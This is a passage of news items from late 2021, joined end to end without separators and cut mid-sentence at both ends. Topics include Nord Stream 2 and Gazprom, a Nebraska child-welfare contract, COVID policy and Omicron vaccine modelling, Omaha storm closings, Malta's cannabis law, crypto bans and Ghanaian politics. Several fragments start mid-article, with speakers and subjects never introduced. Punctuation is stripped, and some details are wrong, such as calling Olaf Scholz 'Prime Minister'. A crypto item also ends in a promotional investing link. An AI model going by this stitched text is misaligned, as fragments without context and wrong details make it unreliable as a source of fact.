further escalation, this gas pipeline could not come into service," Annalena Baerbock told German media, as quoted by AFP, earlier this week. The remarks follow a comment from Germany's new Prime Minister, Olaf Scholtz, that "It would be a serious mistake to believe that violating the borders of a European country would remain without consequences." Meanwhile, the certification process for the infrastructure has been suspended by the German authorities because the pipeline must have an operator that is incorporated under German law. This means that the commissioning of the pipeline could be delayed until March next year. It could be delayed even further because after Germany approves itif it doesthe project will have to go to the European Commission, which would be tasked with making sure it complies with EU regulations. As a result, natural gas prices on the continent topped $1,400 per 1,000 cubic meters for the January futures. New threats from Belarus that it would turn the transit gas tap off for Europe if the EU decided to impose more sanctions on Minsk did not help matters, adding to upward price pressure. Meanwhile, the European Union is this week discussing measures to tackle the gas shortage that is fueling the price rally and threatening energy supply this winter. Among the measures are joint gas buying for member states and more disciplined gas storage management to create strategic reserves to protect the countries and consumers. By Irina Slav for Oilprice.com More Top Reads From Oilprice.com: The pace of Gazproms natural gas exports growth to Europe has slowed in recent months to just under five percent, according to data published by the Kremlin-backed gas giant yesterday. Gazprom revealed its natural gas exports outside the former Soviet Union bloc between January and December had increased 4.8 percent year-on-year to 178.1 billion cubic meters. The figures are a stark contrast from double-digit increases seen earlier this year. The company previously reported 26 percent for the first half of the year and 19.4 percent growth for January August with shortages emerging over the autumn. Russias natural gas exports have been a bitter point of contention amid soaring gas prices, supply shortages, and energy storage issues across European economies this winter. The deepening energy crisis has even led to warnings of potential blackouts this winter. Gazprom said the decline reflected the demand in the region and expected to generate record-high annual revenues as a consequence of the high prices in its key market. Related: Energy Stocks Set To Break Out In 2022 It also said its overall gas output has increased 14.2 percent year on year to 490.4 billion cubic meters, and that it has met its contractual obligations to supply gas to European customers. The International Energy Agency called on Gazprom in October to release more supplies to Europe, while the Yamal-Europe pipeline has recorded reverse flows away from Europe on multiple occasions this winter. There are also concerns from the White House that Russia is using gas as a weapon, putting pressure on Germany to approve the controversial 8.4bn Nord Stream 2 pipeline by reducing supplies while seeking to cut Ukraine out of European markets. Russian President Vladimir Putin has dismissed these claims as politically motivated blather. Nevertheless, Nord Stream 2 continues to sit idle fully completed but awaiting certification from German regulators, with the process currently delayed over governance issues. By CityAM More Top Reads From Oilprice.com: Govt-and-politics State parting ways with Omaha-area child welfare contractor St. Francis Ministries LINCOLN Nebraska is ending its contract with the embattled Kansas-based nonprofit overseeing the care of abused and neglected children in the Omaha area. Top officials from the State Department of Health and Human Services and from St. Francis Ministries announced Tuesday that they will invoke a clause in their current contract allowing for an early exit, followed by a six-month transition period during which cases will be transferred to state workers. HHS CEO Dannette Smith and William Clark, St. Francis president and CEO, said they plan to take the official action on Jan. 3. The transition is slated to be complete by June 30. The two said it was a joint mutual decision to end the contract early. Neither would talk in detail about why each reached that decision, although Smith mentioned times that the agencies have agreed to disagree. There are times, I believe, as executive leaders we have to know when its right to make a change, she said. At the end of the day, the state has the responsibility for caring for children in the foster care system so were going to do that. Clark said the state has more resources available for children and families, particularly when it comes to having enough case workers to meet statutory caseload limits. St. Francis has never met those standards since taking over responsibility for cases in Douglas and Sarpy Counties in January 2020. This is really about whats best for children and families and the resources available to take care of them, he said. When you look at the workforce of St. Francis, their work has been incredible. There has been no maltreatment of children. Children have not been lost, theyve been taken care of, but from a case-ratio perspective, there was work to do. St. Francis license off probation, but restriction on taking new cases remains State officials ended the disciplinary action taken against St. Francis Ministries' child placing license. St. Francis needs the license to place children in foster or adoptive homes. When the transition ends, St. Francis plans to remain in the Omaha area as a service provider. The agency has been doing similar work in western and central parts of the state for several years. It will be one of the options that state case managers can turn to for the care of children. Smith said the state will offer jobs to St. Francis workers. The more workers who take up the state on the offer, the fewer the number of children who will have to experience a change in case managers. Plans are for the staff to make the switch in phases through the next six months. The announcement came the day before a special legislative committee was slated to release the report of its investigation into how St. Francis ended up with its multimillion-dollar contract and how it has performed on the job. State Sen. John Arch of La Vista, who chairs the special committee, said he supports the decision to end the contract, particularly in light of St. Francis struggle to find and keep well-trained, experienced case managers. I think when you lay the facts out, all the parties are reaching similar conclusions, he said. State Sen. Machaela Cavanaugh of Omaha, who pushed for creation of the investigative committee, described herself as thrilled about the announcement. She said she believes the committees work to shine a light on the situation spurred Tuesdays action. I appreciate their willingness to make the decision that needs to be made, she said. I think that this is a wonderful decision. St. Francis got the Nebraska contract after offering to do the job for $197 million over five years, less than 60% of the bid from PromiseShip, the Omaha-based contractor that had managed child welfare cases for nearly a decade. During the bid review, PromiseShip outscored St. Francis on all areas except cost. The difference in cost was erased in late January when Nebraska signed a new, emergency contract with St. Francis. HHS officials signed the contract after Clark warned lawmakers that the nonprofit would run out of money to operate unless Nebraska agreed to pay more. The 25-month, $147.3 million emergency contract was scheduled to expire on Feb. 28, 2023. State officials did not immediately have information about how the early exit would affect payments to St. Francis. Clark has since acknowledged that the contract was underbid by former top agency officials. The St. Francis board terminated those officials after allegations of financial mismanagement came to light. Concerns have been raised about the contract since it was first signed. St. Francis has struggled to meet the requirements of the contract. It has failed to make sustained progress on meeting caseload limits and fell short on other performance measures. Earlier this year, state officials had imposed six corrective action plans on the agency. In a separate disciplinary action, state public health officials put St. Francis child placing license on probation. The license is required for the agency to place children in foster or adoptive homes. The probation was imposed in May, after St. Francis failed a September 2020 inspection and, despite repeated opportunities, had not corrected its problems by mid-April. Nebraska has awarded $69 million in no-bid contracts to Utah company amid COVID Gov. Pete Ricketts credits Nomi Health with providing critical services during an emergency, but some have criticized the non-competitive nature of the first contract awarded to Nomi. Licensing officials added a restriction on St. Francis managing new cases as of Sept. 30. Those officials removed the probation less than two weeks ago but child welfare officials extended the restriction, saying it was to stay in place until St. Francis had enough case managers to comply with state law, meet contract requirements and safely support (area) children and families. Tuesdays announcement closes out Nebraskas 12-year experiment with having private entities manage child welfare cases. The effort began statewide and got off to a disastrous start. Four of the five original contractors lost or dropped their contracts within two years. The lone survivor was PromiseShip, then called Nebraska Families Collaborative, which managed child welfare cases in the two-county Omaha area until St. Francis took over. State workers resumed case management in the rest of the state. Smith said she expects to spend the coming year evaluating the child welfare system to see what improvements can be made. Who's challenging it: The rule was challenged in four separate lawsuits filed by Republican-led states, mostly in groups. Florida and Texas mounted their own challenges. The states argued that there were no grounds for an emergency rule, that CMS had no clear legal authority to issue the mandate and that the rule infringes on states' responsibilities. Where it stands: The rule is on hold nationally, but a ruling Dec. 15 gives it the possibility of moving ahead in about half the states. A Missouri-based federal judge issued a preliminary injunction Nov. 29 barring its enforcement in 10 states that had originally sued. The next day, a Louisiana-based federal judge issued a preliminary injunction barring enforcement in the rest of the states. But on Dec. 15, that was narrowed to the 14 suing in that court. And on Dec. 15, a federal judge in Texas granted an injunction that applies only to that state. After the decisions, there is a possibility the mandate could be enforced in 25 states where no injunction is in place. The Centers for Medicare & Medicaid have not said whether they will pursue that path. The Ford announcement felt like a punch in the nose. ... Michiganders have always responded to every punch with a more forceful counterpunch," Messer told The Associated Press. Opponents in both parties, including Democratic Rep. Cynthia Johnson of Detroit, called the incentives corporate welfare and said there is no guarantee that any new jobs will last in the long term. Why do the wheels turn so fast for corporate America? When they come in here and they demand something, they get it like that, said Democratic Sen. Jeff Irwin of Ann Arbor. What about the people who are suffering in silence with mental illness? What about the people sleeping on the street? What about the small businesses who are trying to figure how (to) pay for health care? But Sen. Ken Horn, a Frankenmuth Republican, said residents are counting on Michigan to be prepared for the auto industry's shift from internal combustion engines to zero emission electric power. This is our opportunity to make a difference. This is money well spent, he said, saying the incentives will give Michigan a better than 50-50 shot at securing all four serious projects on the table, including another auto-related deal. That is, of course, of great concern to us in public health and to the hospitals, as well, she said. Dr. Maureen Tierney, assistant dean for public health and clinical research at Creightons School of Medicine, said in an interview that the area saw a spike in cases a week after the Thanksgiving holiday. Tierney said she is concerned a similar spike could occur as a result of the holidays, which stretch from Christmas through New Years. Thats going to happen again, she said, and theres no room if it happens again. Huse said area hospital leaders and state health officials earlier this week discussed possible ways to deal with further increases. Nebraska Medicine already has opened six COVID units and expects to open another this week. The health system on Monday also began further reducing the number of procedures it performs. One issue for hospitals, Huse said, is the bottleneck formed by the limited number of places for patients of all types who have recovered enough to leave the hospital but not enough to go home. Some preliminary discussions have explored setting up facilities where such patients could go. Newly announced closings Several more local organizations have announced early closings or cancellations for Wednesday due to the forecast for high winds and the potential for storms. *Trash and recycling collections in Omaha will be suspended at 2:30 p.m. Wednesday. Residents are asked to retrieve their carts from the curb and secure them. Collections will resume Thursday starting with the Wednesday spots that weren't completed. Thursday collections will be picked up as scheduled on Thursday. *All nonessential services at Offutt Air Force Base closed at 3:30 p.m. This includes the exchange, commissary and all 55th Wing facilities. *The University of Nebraska at Omaha closed and moved to remote learning at 2 p.m. *All Metropolitan Community College locations closed at 1 p.m. Afternoon, evening classes and activities are canceled. Online and remote learning activities will continue as normal. *Metro canceled bus, ORBT and MOBY service by 2 p.m. MOBY paratransit service stopped operating around 1 p.m. Service will resume on schedule Thursday morning if conditions allow. *Boys Town Hospital, medical clinics and Same Day Pediatrics closed at 2 p.m. *Douglas County judges sent jurors home early because of the high winds. The Washington County Courthouse in Blair also closed early. *The COVID-19 vaccine clinic at Element Learning Center on Florence Boulevard has been canceled for Wednesday afternoon. The Douglas County Health Department's STD clinic also is closed. *Non-essential City of Omaha employees were sent home by 2:30 p.m. *Millard Public Schools dismissed middle and high schools at 1:30 p.m. School buildings will remain open until regularly scheduled dismissal time to accommodate students unable to be picked up early. Elementary schools got out at their regular 2:15 p.m. Wednesday dismissal time. Abbott Elementary also dismissed at 2:15 p.m. The staggered dismissal times were to accommodate bus routes. *The Sarpy County offices of the treasurer, county clerk, clerk of the district court and vehicle inspection closed at 2 p.m. The Sarpy County STOP Class scheduled for Wednesday has been canceled. People should call to reschedule. *The City of La Vista will close all facilities and offices at 3 p.m. *Lauritzen Gardens closed at noon. There will be no evening activities. *Durham Museum closed at 1 p.m. *Henry Doorly Zoo ended ticket sales at 1 p.m., and grounds and buildings closed at 2 p.m. *Clarkson College's campus in Omaha closed at 2 p.m. *The Papillion La Vista Community Schools middle schools dismissed at 1:45 p.m. and elementary schools at 2 p.m. The high schools already had an early dismissal planned because of their finals schedule. *Heartland Area Federal Credit Union is closing at 3 p.m. because of the weather. *Omaha Children's Museum closed at 2 p.m. *The UnderTheSink facility at 4001 S. 120th St. closed at 1 p.m. GREENLAND, N.H. (AP) A New Hampshire town will hold a special election on whether to ban the use of voting machines in local, state and federal elections and return to counting ballots by hand. The election, scheduled for Saturday, will be held in Greenland on a citizen petition filed earlier this year. Similar attempts to ban voting machines are under way in Hampton and Kensington, and a bill calling for a statewide ban was filed in the Legislature, Seacoastonline.com reported. I believe there is merit to consider banning the machines we use solely in the interest of caution, Douglas Wilson, who led the petition, said at the towns Nov. 13 deliberative session. I have full confidence in the town of Greenland and the poll watchers. ... When it comes to the machines, I dont know. Greenland has a little over 4,000 residents, according to the 2020 U.S. Census. Fortenberry, who has represented eastern Nebraskas 1st District since 2005, has maintained that he was trying to cooperate with the investigation and didnt recall details of the 2018 phone call, and that he was misled and set up by federal agents. His wife and supporters claim that hes been a victim of a political persecution. In a transcript of his July 2019 interview with the FBI in Washington, D.C., Fortenberry indicated that he was distracted during an interview four months earlier at his Lincoln home by a bomb cyclone that had just caused epic flooding in Nebraska and by death threats made against him. Defense lawyers have filed a flurry of motions to dismiss the three felonies faced by Fortenberry and to move his trial out of California. Thats where the congressman, at a 2016 fundraiser, received $30,000 in political donations that were later determined to originate with Gilbert Chagoury, a Nigerian-born billionaire of Lebanese descent interested in protecting Christians in the Middle East. Illinois and seven other states are asking the federal government to reinstate a freeze on interest thats piling up on money they borrowed to pay unemployment benefits during the early phase of the coronavirus pandemic. Illinois owes nearly $4.5 billion to the federal unemployment trust fund, which has been accumulating interest at a rate of 2.27% since Sept. 6. As of Friday, the state owed $19.6 million in interest, a tab that would grow to more than $100 million if the debt is left unpaid for a year, according to Comptroller Susana Mendozas office. Taxpayers should not be on the hook for interest just because the pandemic is lasting longer than projected, Mendoza said in a statement. States are wrestling with how best to replenish their COVID-depleted unemployment funds and they should not have to do that with the meter running. Mendoza joined the chief fiscal officers of Colorado, Connecticut, Massachusetts, Minnesota, New Jersey, New York and Pennsylvania to ask U.S. Treasury Secretary Janet Yellen for the Biden administrations support for reinstating a pause on interest charges that expired in September. We believe the waiver deadline was originally determined under the assumption that the pandemic would likely be over and that the economy and state governments would be in recovery mode, they wrote in a letter Tuesday to Yellen. However, it is quite plain to see that this public health crisis is not over, and the benefit provided by this interest waiver is still necessary. The financial chiefs are asking that the interest charges be frozen until at least June 30, 2022, giving adequate time for our states to address this financial dilemma appropriately, a move that would require congressional approval. Altogether, 11 states three of which did not sign the letter and the U.S. Virgin Islands owed $197.3 million in interest as of Friday, according to the U.S. Treasury Department. Illinois outstanding debt is the third-largest among the states, trailing the $19.4 billion owed by California and $9.2 billion owed by New York. The Treasury Department did not respond immediately Tuesday to a request for comment on the letter. Mendoza has been discussing the issue with members of the Illinois congressional delegation and has gotten a positive response, spokesman Abdon Pallasch said. Republican lawmakers have been critical of Democratic Gov. J.B. Pritzker and members of the legislatures majority party for not addressing the deficit in the unemployment insurance trust fund in this years $42 billion state operating budget. With Illinois receiving $8.1 billion in coronavirus relief funds from President Joe Bidens American Rescue Plan, GOP legislators have called for the state to use some of that money to replenish the unemployment trust fund. Weve known for many months that the unemployment insurance trust fund debt was a problem wed need to solve, said state Rep. Tom Demmer of Dixon, a lead budget negotiator for the House Republicans. Pritzker and the legislatures Democratic majority ignored calls from the GOP to use some of the federal relief money in this years $42 billion operating budget to replenish the unemployment trust fund, Demmer said. The reality is that 41 other states have addressed their own problems, and our strategy in Illinois should not be to simply hope the federal government bails us out again, he said. Mendoza acknowledged that without the federal action she and other fiscal officers are requesting, repaying the interest could result in higher unemployment taxes for businesses and lower benefits for people who are out of work. The cost of covering this federal initiative to extend unemployment benefits during the pandemic should not fall completely on the shoulders of businesses and labor, Mendoza said in a statement. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 The state of Illinois has entered into exclusive negotiations with a company led by the chairman of developer The Prime Group to sell the James R. Thompson Center in the Loop for $70 million upfront, Gov. J.B. Pritzker announced Wednesday. Pritzker has been trying to unload the aging 17-story office building since taking office in 2019. The sale was something his predecessor, Republican Bruce Rauner, pushed for years but never got done. Pritzker signed a bill in April 2019 authorizing the sale, but then came the coronavirus pandemic, which sharply drove down demand for downtown commercial space. To the chagrin of preservationists, who consider the Helmut-Jahn building an iconic example of postmodern architecture, state officials had previously said they have no preference whether new owners tear down the existing structure, which officials say would cost $325 million to repair. Jahn died in a bicycle accident in May. A team from his firm has been retained for the project, which intends to preserve key aspects of the design while alleviating some longtime complaints, Prime Group Chairman and CEO Michael Reschke said. This is a developing story that will be updated. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Craig Yost was taking shelter with six others in a bathroom when an EF-3 tornado struck an Amazon warehouse in Edwardsville on Friday night, but he's the only one to survive as the walls crashed down, Yost told reporters this week. Six people were killed in the tornado. Yost was pinned under a concrete wall for three hours after the tornado hit the south end of the building on Gateway Commerce Drive. "Those that weren't as lucky as me, I was as close to them as we are to one another in here now at that moment and that's been a lot to take in," Yost told KSDK-Channel 5 while recovering in his room at St. Louis University Hospital. "A couple of them I worked very closely with. A couple of them I didn't know well, but if they were in that building and working there, they were good people." Yost, 39, told reporters he had multiple injuries, including a fractured pelvic bone and a fractured thigh bone near his hip. He was discharged from the hospital on Tuesday, a hospital spokeswoman said. Watch now: New Illinois law allows for licensure of midwives Here's what to know about new legislation that allows the certification and licensure of certified professional midwives in Illinois. KTVI-Channel 2 reported that Yost was pinned under a concrete wall for three hours before he was rescued and airlifted to St. Louis. Yost has worked as a contract driver delivering Amazon packages for about two months, according to KMOV-Channel 4. He had just finished his route and returned to the warehouse shortly before the tornado struck about 8:30 p.m. "They're telling people just park your van and go to the shelter," Yost told Channel 4. "Where's the shelter? The bathrooms? OK, so I parked the van and go to the bathroom. They had people directing others to the bathroom, and that's where we sat and waited." A GoFundMe account has been established for Yost. An Amazon executive said 46 people were inside the warehouse when the tornado hit. Thirty-nine of them had gathered in the designated shelter-in-place space on the north side of the building while Yost and the six victims were on the south side where the tornado struck the 1.1 million-square-foot building located near the intersection of Illinois 255/Interstate 255 and Interstate 270 in Madison County. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 100 years ago Dec. 15, 1921: Local business leaders pledged $10,000 in a bond to acquire right of way for the Illini Boulevard Highway through Bloomington Township. This covers buying land but also straightening of parts of the present road. (Illini Boulevard eventually became Route 66.) 75 years ago Dec. 15, 1946: An explosion tore apart a dredge machine on a farm near Downs at 12:05 Friday morning. Pieces of debris were thrown half a mile, windows were blown out, and the entire village shook. Foul play is suspected and deputies are looking for a possible getaway car. 50 years ago Dec. 15, 1971: Federal judge Otto Kerner, the former Illinois governor, was indicted on a series of corruption charges. He is only the fourth sitting federal judge ever to be indicted. The indictments were announced by U.S. attorney James Thompson (a future Illinois governor). 25 years ago Dec. 15, 1996: Tri-County Health Care reached a last-minute deal with Heritage Enterprises to keep the Fairbury nursing home operating. It had been scheduled to close. In addition, Heritage will build a 53-bed skilled nursing care building on the grounds to go with the existing facility. Compiled by Jack Keefe; jkeefe@coldwellhomes.com. The key highlight of Absa Banks soil-turning event was three mounds of soil. These mounds had been placed concertedly in the middle of the vast compound that is to house Absa Banks new Head office in Ghana. They had been carefully curated for Mrs. Elsie Addo Awadzi, Second Deputy Governor of the Central Bank; Absa Board Chair, Mrs. Frances Adu Mante and Managing Director, Mrs. Abena Osei-Poku. The event was well coordinated, and the limited guests gathered that day, looked on in anticipation as the three leading figures led the way, reflector jackets on and shovels in hand. When they finally dug into the soil with their shovels, the energy they exuded reverberated across the compound. Finally, after 104-years of operating its head office on the Accra High Street, Absa was now preparing to relocate. It is long overdue, said the Central Bank Governor, Dr. Ernest Addison, when he was asked of his views ahead of the soil turning event. The real estate that will be occupied by the bank is in a vibrant financial hub of the capital city, along the independence avenue, close to the Ako-Adjei interchange. Managing Director, Abena Osei-Poku, was forthright in her remarks about the underlining reasoning behind the decision. The time is right for us to chart a new direction in our relationship with Ghana, which will hopefully last beyond another hundred years. The dynamism of the global workplace makes it difficult for our old head office at high street to rhyme with the evolving digital ecosystem. Our new building will be designed with only the latest trends of the digital workplace and innovation for the benefit of our employees, customers and stakeholders, she said. Second Deputy Governor, Mrs. Elsie Addo-Awadzi, who took the stage in place of the Governor during the event, was effusive in her praise for Absa Bank. Absa remains a very important player in the banking sector. It has demonstrated leadership over the years, and was even the first to meet the minimum capital requirement set by the Central Bank in 2018. I am glad they have committed to take issues of environmental sustainability, reduction in carbon footprints and a compliance with the sustainable banking principles, into consideration when the construction begins, she remarked. The Absa brand has made tremendous strides since its official launch in Ghana some 19-months ago. Having taken over a bank that was still adorned with the strength of the Barclays image, it is interesting to witness the sterling work done to entrench the new brand whilst upholding its positive reputational currency. Ghana is currently littered with a host of organically established Head offices belonging to several multinational companies across multiple sectors. A new head office can mean many things: For one, it tells the government that the company, in question, is thinking strategically about the country where it operates. It gives regulators greater confidence to engage and supervise the company. It enhances the eagerness customers have in dealing with the brand. Additionally, it also reassures employees that the company has them in its long-term plans. Our model for this new building revolves around four key themes - our people, customers, resilience and sustainability. No matter how you dice it, we have covered every aspect in making this new building a reflection of the future of banking. Energy conservation, reduction in waste, digital innovation and creativity, are integral in this construction as we aim towards completion in the next 18-months. The timing is right because we have the ability to finance without any repercussions on our business or shareholders expectations said Michael Mensah-Baah, Chief Operating Officer at Absa Bank. Banking is a lifestyle. Its ability to empower small and medium scale businesses, contribute to socio-economic development whilst improving the lives of individuals, communities and society, cannot be overstated. Absa Banks cutting-edge approach across its key businesses continues to reflect leadership and capability and the new head office is only a demonstration that this bank is not resting on its laurels. Source: Peacefmonline.com Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Two Covid jabs should still slash the risk of dying from Omicron by up to 84 per cent but a booster is twice as good at preventing someone from falling ill, according to official estimates. SAGE modelling published over the weekend worked off the assumption that two Pfizer doses give 83.7 per cent protection against hospitalisation and death from the highly-evolved strain. A two-dose course of AstraZeneca's vaccine was estimated to reduce the risk of severe disease from Omicron by 77.1 per cent. However, both vaccine brands were assumed to wane within three to six months. At that point, the Government's scientific advisers believe protection from two AstraZeneca jabs could be as low as 61.3 per cent and 67.6 per cent for Pfizer. A booster dose of Pfizer's vaccine was estimated to top-up immunity to over 93 per cent, regardless of which jab someone was originally given providing a similar level of protection as two doses did against Delta. The estimates were presented in modelling by the London School of Hygiene and Tropical Medicine (LSHTM) on Saturday and are based on lab studies looking at antibodies. The model warned that the vaccine-resistant Omicron variant may lead to more hospitalisations than England's second wave last January when up to 4,000 infected patients were being admitted to NHS facilities every day. Scientists have been racing to work out how effective existing vaccines will perform on the Omicron strain since it was first discovered on November 24. There was a huge concern that it would be unrecognisable to jabs because of the 30-plus mutations on its spike protein. Current jabs were designed to target the original virus that emerged in Wuhan. But because the variant is so new, experts are still relying on lab experiments which may not reflect how the variant will behave in the real world. Professor Paul Hunter, an expert in infectious diseases at the University of East Anglia, told MailOnline he expects two jabs to protect against severe illness even better. He said hospital data in South Africa's Omicron ground zero suggested T cells, which are more difficult to measure, were playing a crucial role in immunity. However, Dr Simon Clarke, a microbiologist at Reading University, argued the drop in efficacy of two jabs was still 'concerning'. He told MailOnline: 'Nobody ever expected Omicron to wipe out vaccine efficacy it was just a drop that was expected and that in itself can do enough damage.' Even at 84 per cent protection from severe illness, that leaves 16 per cent vulnerable to being hospitalised or killed by Omicron. That's up to three times as many as with Delta. The team's vaccine effectiveness estimates were based on neutralising antibody studies which test Omicron against the blood of vaccinated people. While antibodies are a good indicator of immunity, they are just one part of a more complex immune response to the virus that also involves T and B cells. Professor Hunter told MailOnline that there were 'grounds for optimism' based on the paper's estimates. Source: Dailymail.co.uk Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Malta has become the first EU country to legalize the cultivation and personal use of cannabis. Adults will be allowed to carry up to seven grams of cannabis, and grow no more than four plants at home. But smoking it in public or in front of children will be illegal. Several other nations have similar plans, such as Germany, Luxembourg and Switzerland. Countries like the Netherlands tolerate cannabis use in certain circumstances. Malta's parliament voted in favour of the reform on Tuesday afternoon, with the bill winning 36 votes in favour and 27 against. Equality Minister, Owen Bonnici, said the "historic" move would stop small-time cannabis users from facing the criminal justice system, and would "curb drug trafficking by making sure that [users] now have a safe and regularised way from where they can obtain cannabis". However, Malta's opposition Nationalist Party voted against the change. In October, its leader Bernard Grech - who initially supported the new law - warned it would "only lead to the strengthening of the illegal market, with organised crime taking advantage," according to The Times. Opponents have called on Malta's president, George Vella, not to sign it into law, which is the final, ceremonial stage. Under the changes, anyone carrying more than seven grams, but less than 28g could be fined up to 100 (85; $112). The punishment for smoking in public will be a 235 fine, and those smoking cannabis in front of anyone younger than 18 could be fined up to 500. Associations will be set up to distribute the drug or seeds to cultivate cannabis, therefore regulating how much someone buys - and a person can only be a member of one association. There is also support for minors who are found with cannabis. They will be recommended a care plan or treatment as opposed to facing arrest or criminal charges. Cannabis laws around the world The move by Malta, the EU's smallest member state, is likely to be the first of a number of nations changing their cannabis laws after the UN last year reclassified cannabis to recognise its therapeutic uses. The governments of Luxembourg, Germany and Switzerland have all announced plans to establish a legally regulated market. Cannabis is still technically illegal in the Netherlands, which is famous for its cannabis cafes. However, there is a tolerance for the drug when it is sold in the coffee shops. Italy will hold a referendum on the issue next year, while South Africa, Mexico, Jamaica, Portugal and a number of US states already have similar legislation in place. Uruguay was the first country in the world to legalise cannabis for personal use in 2013, followed by Canada in 2018. Source: BBC Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Several countries have outright banned cryptocurrencies, and many more have issued warnings against their use. While the reasons for doing so vary from country to country, the overall trend is clear governments are increasingly concerned about the implications of cryptocurrency and blockchain technology. Here, we will explore some countries that have taken a hard line against crypto and why they might be so worried. Egypt Egypt is not the first country to ban cryptocurrency, but it remains one of the most influential countries in the Middle East. President Abdel Fattah el-Sisi decided on December 18th, 2017, with a legislative push from Egypts Central Bank. President Sisi cited that these transactions are too difficult to regulate due to their anonymous nature and have been used for illegitimate purposes such as money laundering, tax evasion, funding terrorism and trading drugs. This decision has caused some entrepreneurs who believe this will stifle innovation in an already struggling economy. Russia Russia has blocked access to websites that sell or trade cryptocurrencies, and the Russian Ministry of Finance was looking to propose a bill to criminalize using them. The bill would impose fines on those who use cryptocurrency for transactions, as well as those who issue it. This comes after President Putin said that Russia should avoid "the legalization of crypto-currencies." China's central bank has implemented a similar prohibition, and the country's top internet regulator - both institutions have since reiterated their positions against cryptocurrencies. Bangladesh As of March 13th, 2018, the central bank of Bangladesh released a statement announcing that it does not allow any form of cryptocurrency trading within its borders. This announcement comes as a bit of a surprise, as other countries in the region are beginning to open up to cryptocurrencies. It's unclear why Bangladesh has taken this stance against digital currencies, but it is likely due to their prices' speculative and volatile nature. Despite this news, there is still a growing interest in crypto-trading throughout South Asia, so seeing how things play out in this rapidly developing region will be interesting. China China has always been a mystery. When Bitcoin was being popularized, there were stories of people in China making money through mining and trading bitcoin. Now the Chinese government is cracking down on it with its current set of regulations. The country that once had the world's largest number of Bitcoin miners, according to Bloomberg News (Feb 2018), now has banned cryptocurrency as part of its new policy against illegal fundraising activities. The latest ban followed other bans on digital currency exchanges and initial coin offerings by authorities. Morocco The Moroccan government has classified virtual currencies as an infringement in a recent move. This means that those who engage in transactions using digital currencies such as Bitcoin will be punished. The government has not released a statement detailing the punishments, but violators could likely face fines or even imprisonment. This announcement from Morocco comes on the heels of similar decisions by other governments worldwide, which are largely motivated by a desire to protect consumers and prevent money laundering. While some people may view this news as a setback for the growing cryptocurrency industry, others see it as a sign that authorities take virtual currencies seriously and prepare to enforce regulations. Final Word Countries have taken a hard line against cryptos for many reasons. Some fear that they will be used to fund terrorism, others are worried about the potential loss of jobs in the financial sector, yet other countries believe these currencies could destabilize their economies. In any case, its important to remember that regulations can change quickly, so always stay up-to-date on what is happening with crypto around the world and start investing today using https://bitcoin-buyer.io/. Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video KENYA: A 41-year-old man is nursing injuries at a hospital in Muranga, Kenya, after he was sodomised by four men in Githiagara community of Kigumo. Kenya's Directorate of Criminal Investigations (DCI) said the middle-aged man was walking towards Kahethu shopping centre at around 1 am on Tuesday December 14, when he was approached by the four men who roughed him up before sodomising him. They reportedly took off after carrying out the act, leaving their victim lying on the ground with serious injuries. DCI's statement read in part; The young men wrestled the victim at a secluded area where they did the despicable act in turn." Two suspects; 25-year-old Bernard Kamande and 21-year-old Erick Kimani have been arrested after they were positively identified by the man. The two suspects are currently being held at Muthithi police station as detectives search for the rest. Source: LIB Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Canada is expected to toughen restrictions on international travel with new measures to be announced on Wednesday as it looks to limit the spread of the Omicron coronavirus variant, CBC News reported. Possible measures, including a ban on all non-essential foreign travellers coming to Canada, including from the United States, were discussed in a call between Prime Minister Justin Trudeau and provincial premiers but no decision was reached, the CBC reported. The measures could include stricter quarantine and testing for travellers who are allowed into Canada, including returning Canadians and permanent residents, it said. Canada has already announced a ban on people who recently travelled to 10 countries in Africa. Omicron, which health officials say is more contagious than the Delta variant, has started spreading within communities in Canada since being first detected in November. The CBC said there was a widespread agreement between Trudeau and the premiers of Canada's 10 provinces on the need to dramatically increase the pace of third-dose booster shots. Source: Peacefmonline.com Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Seasoned Journalist, Kwesi Pratt , has expressed concerns over the internal politics in the governing New Patriotic Party (NPP) where billboards of some leading members of the party aspiring to be flagbearer for the NPP have been erected in Kumasi, Ashanti Region. The New Patriotic Party is gearing up for one of its major conferences which will be held at the Baba Yara Stadium in Kumasi. According to the leadership of the party, there will be no elections on the day of the conference as it is meant to discuss welfare issues of the members and consider recommendations from constituency and regional delegates conferences to improve the fortunes of the party. The conference will also come up with initiatives to support the government to enable it to pursue the NPP agenda of breaking the eight-year cycle. The conference is to be attended by all former Presidents, Vice Presidents and the incumbent President and Vice President of the Republic as well as national and regional executives among others. Ahead of the Kumasi conference which comes off this Saturday, December 18, the party leadership has placed a ban on all activities associated with internal party contests, Presidential and Parliamentary primaries as well as the display of paraphernalia and advocacy for aspirants at the conference venue. Prior to and during the conference from December 18 to 20, 2021, no billboards and or signboards, banners or any kind of outdoor signage with the images and or names of individual members, with or without the consent of the individual, shall be acceptable. This applies to the area within the Greater Kumasi Metropolis. All such displays, if put up already, should be removed, a statement issued by the party said. However, there are reports of giant billboards being raised in Kumasi with the faces of some of the Presidential hopefuls who although haven't yet declared their intentions but their supporters have already projected them and campaigning for them. The NPP has warned that any person, with or without his or her consent, whose image is flaunted on any advocacy material and who does not take active steps to desist from any public display of aspiration for a position within the precincts of Greater Kumasi runs a higher risk of disqualification in the event nominations are declared open. But Kwesi Pratt has taken the party's warning with a pinch of salt. To him, it will be 